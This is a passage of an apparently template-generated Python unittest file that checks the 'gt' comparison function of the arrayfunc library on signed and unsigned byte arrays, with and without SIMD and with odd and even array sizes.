self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code b.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_b_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'b' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'b' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'b' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('b', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('b', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code b.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_b_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'b' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'b' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'b' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('b', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('b', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code b.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_b_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'b' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'b' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'b' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('b', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('b', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code b.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_b_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'b' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'b' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'b' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('b', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('b', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code b.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_B_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'B' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'B' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'B' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('B', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('B', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
